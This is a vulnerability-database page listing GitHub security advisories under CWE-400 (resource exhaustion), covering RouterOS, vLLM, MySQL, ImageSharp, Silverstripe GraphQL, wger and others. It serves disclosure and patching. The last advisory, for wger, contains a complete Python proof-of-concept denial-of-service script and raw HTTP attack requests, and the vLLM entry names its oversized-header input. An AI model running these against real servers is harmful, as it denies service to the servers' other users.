Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5435 vulnerabilities reference this CWE, most recent first.

GHSA-RX53-RX95-FQQM

Vulnerability from github – Published: 2026-05-08 06:32 – Updated: 2026-05-08 15:31
VLAI
Details

Mikrotik RouterOS (x86) 6.40.5 through 6.49.10 (fixed in 7) allows a remote attacker to cause a denial of service (device crash) via crafted packet data to the SMB service on TCP port 445.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-27686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-08T06:16:09Z",
    "severity": "HIGH"
  },
  "details": "Mikrotik RouterOS (x86) 6.40.5 through 6.49.10 (fixed in 7) allows a remote attacker to cause a denial of service (device crash) via crafted packet data to the SMB service on TCP port 445.",
  "id": "GHSA-rx53-rx95-fqqm",
  "modified": "2026-05-08T15:31:20Z",
  "published": "2026-05-08T06:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27686"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ice-wzl/RouterOS-SMB-DOS-POC"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/51931"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXC4-3W6R-4V47

Vulnerability from github – Published: 2025-08-21 14:24 – Updated: 2026-07-17 16:14
VLAI
Summary
vllm API endpoints vulnerable to Denial of Service Attacks
Details

Summary

A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.

Details

The vulnerability leverages the abuse of HTTP headers. By setting a header such as X-Forwarded-For to a very large value like ("A" * 5_800_000_000), the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.

Impact

What kind of vulnerability is it? Who is impacted? Type of vulnerability: Denial of Service (DoS)

Resolution

Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.10.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:24:16Z",
    "nvd_published_at": "2025-08-21T15:15:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.\n\n### Details\nThe vulnerability leverages the abuse of HTTP headers. By setting a header such as `X-Forwarded-For` to a very large value like `(\"A\" * 5_800_000_000)`, the server\u0027s HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nType of vulnerability: Denial of Service (DoS)\n\n### Resolution\nUpgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.",
  "id": "GHSA-rxc4-3w6r-4v47",
  "modified": "2026-07-17T16:14:41Z",
  "published": "2025-08-21T14:24:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-rxc4-3w6r-4v47"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48956"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/23267"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/d8b736f913a59117803d6701521d2e4861701944"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rxc4-3w6r-4v47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-2021.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vllm API endpoints vulnerable to Denial of Service Attacks"
}

GHSA-RXH2-VW4H-QG4P

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-05-24 19:04
VLAI
Details

A flaw was found in the machine-config-operator that causes an OpenShift node to become unresponsive when a container consumes a large amount of memory. An attacker could use this flaw to deny access to schedule new pods in the OpenShift cluster. This was fixed in openshift/machine-config-operator 4.4.3, openshift/machine-config-operator 4.3.25, openshift/machine-config-operator 4.2.36.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-07T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the machine-config-operator that causes an OpenShift node to become unresponsive when a container consumes a large amount of memory. An attacker could use this flaw to deny access to schedule new pods in the OpenShift cluster. This was fixed in openshift/machine-config-operator 4.4.3, openshift/machine-config-operator 4.3.25, openshift/machine-config-operator 4.2.36.",
  "id": "GHSA-rxh2-vw4h-qg4p",
  "modified": "2022-05-24T19:04:09Z",
  "published": "2022-05-24T19:04:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1750"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1808130"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RXJF-75RJ-R875

Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2025-11-04 18:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.37 and prior and 8.4.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-21163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T23:15:19Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.37 and prior and  8.4.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as  unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H).",
  "id": "GHSA-rxjf-75rj-r875",
  "modified": "2025-11-04T18:31:08Z",
  "published": "2024-07-17T00:32:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21163"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240801-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXMQ-M78W-7WMC

Vulnerability from github – Published: 2025-07-30 13:23 – Updated: 2025-07-31 11:18
VLAI
Summary
SixLabors ImageSharp Has Infinite Loop in GIF Decoder When Skipping Malformed Comment Extension Blocks
Details

Impact

A specially crafted GIF file containing a malformed comment extension block (with a missing block terminator) can cause the ImageSharp GIF decoder to enter an infinite loop while attempting to skip the block. This leads to a denial of service. Applications processing untrusted GIF input should upgrade to a patched version.

Patches

The problem has been patched. All users are advised to upgrade to v3.1.11 or v2.1.11.

Workarounds

None.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "SixLabors.ImageSharp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54575"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-30T13:23:01Z",
    "nvd_published_at": "2025-07-30T20:15:37Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA specially crafted GIF file containing a malformed comment extension block (with a missing block terminator) can cause the ImageSharp GIF decoder to enter an infinite loop while attempting to skip the block. This leads to a denial of service. Applications processing untrusted GIF input should upgrade to a patched version.\n\n### Patches\nThe problem has been patched. All users are advised to upgrade to v3.1.11 or v2.1.11.\n\n### Workarounds\nNone.",
  "id": "GHSA-rxmq-m78w-7wmc",
  "modified": "2025-07-31T11:18:16Z",
  "published": "2025-07-30T13:23:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-rxmq-m78w-7wmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54575"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/issues/2953"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/55e49262df9a057dff9b7807ed1b7bdb49187c3f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SixLabors/ImageSharp/commit/833f3ceec35af6b775950e06f03b934546cefbf6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SixLabors/ImageSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SixLabors ImageSharp Has Infinite Loop in GIF Decoder When Skipping Malformed Comment Extension Blocks"
}

GHSA-RXPV-R2WJ-5VX3

Vulnerability from github – Published: 2022-11-02 19:00 – Updated: 2023-01-26 21:30
VLAI
Details

Libde265 v1.0.8 was discovered to contain an unknown crash via ff_hevc_put_hevc_qpel_h_3_v_3_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-43238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-02T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Libde265 v1.0.8 was discovered to contain an unknown crash via ff_hevc_put_hevc_qpel_h_3_v_3_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.",
  "id": "GHSA-rxpv-r2wj-5vx3",
  "modified": "2023-01-26T21:30:21Z",
  "published": "2022-11-02T19:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strukturag/libde265/issues/336"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXVP-CCRP-36W2

Vulnerability from github – Published: 2024-03-24 03:30 – Updated: 2024-08-01 15:31
VLAI
Details

The Mojolicious module before 7.66 for Perl may leak cookies in certain situations related to multiple similar cookies for the same domain. This affects Mojo::UserAgent::CookieJar.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-25100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-24T01:15:45Z",
    "severity": "MODERATE"
  },
  "details": "The Mojolicious module before 7.66 for Perl may leak cookies in certain situations related to multiple similar cookies for the same domain. This affects Mojo::UserAgent::CookieJar.",
  "id": "GHSA-rxvp-ccrp-36w2",
  "modified": "2024-08-01T15:31:34Z",
  "published": "2024-03-24T03:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mojolicious/mojo/issues/1185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mojolicious/mojo/pull/1192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mojolicious/mojo/commit/c16a56a9d6575ddc53d15e76d58f0ebcb0eeb149"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/dist/Mojolicious/changes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXXP-482V-7MRH

Vulnerability from github – Published: 2026-03-02 22:32 – Updated: 2026-03-30 13:35
VLAI
Summary
OpenClaw's inbound media downloads could exceed configured byte limits before rejection across multiple channels
Details

Summary

OpenClaw did not consistently enforce configured inbound media byte limits before buffering remote media in several channel ingestion paths. A remote sender could trigger oversized downloads and memory pressure before rejection.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.2.21-2 (latest published at triage time)
  • Fixed in: 2026.2.22 (planned next release)

Impact

An attacker could cause elevated memory usage and potential process instability (denial of service) by sending oversized media payloads.

Fix Commit(s)

  • 73d93dee64127a26f1acd09d0403b794cdeb4f5c

Release Process Note

patched_versions is pre-set to the planned next release (2026.2.22). After that npm release is published, this advisory can be published without further version-field edits.

OpenClaw thanks @tdjackey for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:32:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nOpenClaw did not consistently enforce configured inbound media byte limits before buffering remote media in several channel ingestion paths. A remote sender could trigger oversized downloads and memory pressure before rejection.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.21-2` (latest published at triage time)\n- Fixed in: `2026.2.22` (planned next release)\n\n## Impact\nAn attacker could cause elevated memory usage and potential process instability (denial of service) by sending oversized media payloads.\n\n## Fix Commit(s)\n- `73d93dee64127a26f1acd09d0403b794cdeb4f5c`\n\n## Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.22`). After that npm release is published, this advisory can be published without further version-field edits.\n\nOpenClaw thanks @tdjackey for reporting.",
  "id": "GHSA-rxxp-482v-7mrh",
  "modified": "2026-03-30T13:35:40Z",
  "published": "2026-03-02T22:32:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-rxxp-482v-7mrh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32049"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/73d93dee64127a26f1acd09d0403b794cdeb4f5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-inbound-media-download-byte-limit-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw\u0027s inbound media downloads could exceed configured byte limits before rejection across multiple channels"
}

GHSA-V23W-PPPM-JH66

Vulnerability from github – Published: 2023-10-17 13:48 – Updated: 2023-10-17 13:48
VLAI
Summary
Silverstripe GraphQL has DDOS Vulnerability due to lack of protection against recursive queries
Details

Impact

An attacker could use a recursive graphql query to execute a Distributed Denial of Service attack (DDOS attack) against a website. This mostly affects websites with publicly exposed graphql schemas.

If your Silverstripe CMS project does not expose a public facing graphql schema, a user account is required to trigger the DDOS attack. If your site is hosted behind a content delivery network (CDN), such as Imperva or CloudFlare, this may further mitigate the risk.

The fix includes some new configuration options which you might want to tweak for your project, based on your own requirements. See the documentation in the references for details.

Patches

Patched in 3.8.2, 4.1.3, 4.2.5, 4.3.4, 5.0.3

References

Reported by

Jason Nguyen from phew (https://phew.co.nz/)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "silverstripe/graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "silverstripe/graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "silverstripe/graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "silverstripe/graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "silverstripe/graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-17T13:48:17Z",
    "nvd_published_at": "2023-10-16T19:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAn attacker could use a recursive graphql query to execute a Distributed Denial of Service attack (DDOS attack) against a website. This mostly affects websites with publicly exposed graphql schemas.\n\nIf your Silverstripe CMS project does not expose a public facing graphql schema, a user account is required to trigger the DDOS attack. If your site is hosted behind a content delivery network (CDN), such as Imperva or CloudFlare, this may further mitigate the risk.\n\nThe fix includes some new configuration options which you might want to tweak for your project, based on your own requirements. See the documentation in the references for details.\n\n### Patches\nPatched in [3.8.2](https://github.com/silverstripe/silverstripe-graphql/releases/tag/3.8.2), [4.1.3](https://github.com/silverstripe/silverstripe-graphql/releases/tag/4.1.3), [4.2.5](https://github.com/silverstripe/silverstripe-graphql/releases/tag/4.2.5), [4.3.4](https://github.com/silverstripe/silverstripe-graphql/releases/tag/4.3.4), [5.0.3](https://github.com/silverstripe/silverstripe-graphql/releases/tag/5.0.3)\n\n### References\n- [CVE-2023-40180 on silverstripe.org](https://www.silverstripe.org/download/security-releases/CVE-2023-40180)\n- [Documentation about protection against recursive or complex queries for silverstripe/graphql 4.x/5.x](https://docs.silverstripe.org/en/developer_guides/graphql/security_and_best_practices/recursive_or_complex_queries)\n- [Documentation about protection against recursive or complex queries for silverstripe/graphql 3.x](https://github.com/silverstripe/silverstripe-graphql/tree/3.8#recursive-or-complex-queries)\n\n### Reported by\nJason Nguyen from phew (https://phew.co.nz/)",
  "id": "GHSA-v23w-pppm-jh66",
  "modified": "2023-10-17T13:48:17Z",
  "published": "2023-10-17T13:48:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-graphql/security/advisories/GHSA-v23w-pppm-jh66"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-graphql/commit/f6d5976ec4608e51184b0db1ee5b9e9a99d2501c"
    },
    {
      "type": "WEB",
      "url": "https://docs.silverstripe.org/en/developer_guides/graphql/security_and_best_practices/recursive_or_complex_queries"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/silverstripe/graphql/CVE-2023-40180.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/silverstripe/silverstripe-graphql"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-graphql/tree/3.8#recursive-or-complex-queries"
    },
    {
      "type": "WEB",
      "url": "https://www.silverstripe.org/download/security-releases/CVE-2023-40180"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Silverstripe GraphQL has DDOS Vulnerability due to lack of protection against recursive queries"
}

GHSA-V25J-WQCW-FVHJ

Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-13 15:33
VLAI
Summary
wger has an Uncontrolled Resource Consumption issue
Details

Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

Details

The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:

# File: wger/manager/models/routine.py, line 151
def clean(self):
    if self.end and self.start and self.start > self.end:
        raise ValidationError('The start time cannot be after the end time.')
    # NO maximum duration check

The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.

The date_sequence property (line 256) uses an unbounded loop:

# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
    # heavy computation per day: slots, entries, configs, logs
    ...

A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:

  • GET /api/v2/routine/<id>/date-sequence-display/
  • GET /api/v2/routine/<id>/date-sequence-gym/
  • GET /api/v2/routine/<id>/structure/
  • GET /api/v2/routine/<id>/logs/
  • GET /api/v2/routine/<id>/stats/

PoC

Prerequisites

  • One authenticated user account
  • No special permissions required

Attack Steps

# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json

{
    "name": "DoS routine",
    "start": "2000-01-01",
    "end": "2099-12-31"
}

# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json

{
    "routine": <routine_id>,
    "order": 1,
    "name": "Day A"
}

# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>

Expected: HTTP 400 (routine duration exceeds maximum) Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import time

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"

BANNER = """
=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
    print(f"    Registering account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        token = r.json().get("token")
    if not token:
        token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not token:
        print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Token: {token[:16]}...")

headers = api_headers(token)


# ---- 2. Create NORMAL routine (baseline) ----

print("\n[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "Normal 30-day routine",
    "start": "2025-01-01",
    "end": "2025-01-31",
})
normal_id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": normal_id, "order": 1, "name": "Day A"
})

print(f"    Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
    f"{API}/routine/{normal_id}/date-sequence-display/",
    headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f"    date-sequence-display: {r.status_code}, "
      f"{baseline_entries} entries, {baseline_time:.2f}s")


# ---- 3. Create MALICIOUS routine (100 years) ----

print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
    "name": "DoS routine - 100 years",
    "start": "2000-01-01",
    "end": "2099-12-31",
})

if r.status_code != 201:
    print(f"    [-] Failed to create: {r.status_code} {r.text[:200]}")
    sys.exit(1)

dos_id = r.json()["id"]
print(f"    Routine id={dos_id}")
print(f"    start=2000-01-01, end=2099-12-31")
print(f"    Duration: ~36,525 days (NO validation limit!)")

r = requests.post(f"{API}/day/", headers=headers, json={
    "routine": dos_id, "order": 1, "name": "DoS Day"
})


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")

print(f"\n  GET {API}/routine/{dos_id}/date-sequence-display/")
print(f"  This will iterate ~36,525 times in a while loop...")

start_time = time.time()
try:
    r = requests.get(
        f"{API}/routine/{dos_id}/date-sequence-display/",
        headers=headers,
        timeout=120,
    )
    elapsed = time.time() - start_time
    dos_entries = len(r.json()) if r.status_code == 200 else 0

    print(f"\n  Response: HTTP {r.status_code}")
    print(f"  Entries returned: {dos_entries}")
    print(f"  Time elapsed: {elapsed:.2f}s")

except requests.exceptions.Timeout:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  REQUEST TIMED OUT after {elapsed:.2f}s!")

except requests.exceptions.ConnectionError:
    elapsed = time.time() - start_time
    dos_entries = 0
    print(f"\n  CONNECTION LOST after {elapsed:.2f}s!")


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

print(f"\n  Baseline (30-day routine):")
print(f"    Entries: {baseline_entries}")
print(f"    Time:    {baseline_time:.2f}s")
print(f"\n  Malicious (100-year routine):")
print(f"    Entries: {dos_entries}")
print(f"    Time:    {elapsed:.2f}s")

if elapsed > baseline_time * 5 or dos_entries > 10000:
    slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
    print(f"\n  Slowdown factor: {slowdown:.1f}x")
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  No maximum duration is enforced on routines.            |
  |  The date_sequence property loops once per day with no   |
  |  upper bound. A 100-year routine forces ~36,525          |
  |  iterations of expensive O(days x slots x configs) work. |
  |  A single request can exhaust a server worker thread.    |
  +----------------------------------------------------------+
""")
else:
    print("\n  Response was fast - server may have limits or caching.")

Proof of Concept Output

=====================================================================
  PoC: Unbounded date_sequence Denial of Service
  Severity: HIGH
  CWE-400: Uncontrolled Resource Consumption
=====================================================================

[1] Authenticating...
    Registering account...
    Token: 2ffbb18316fc4e0f...

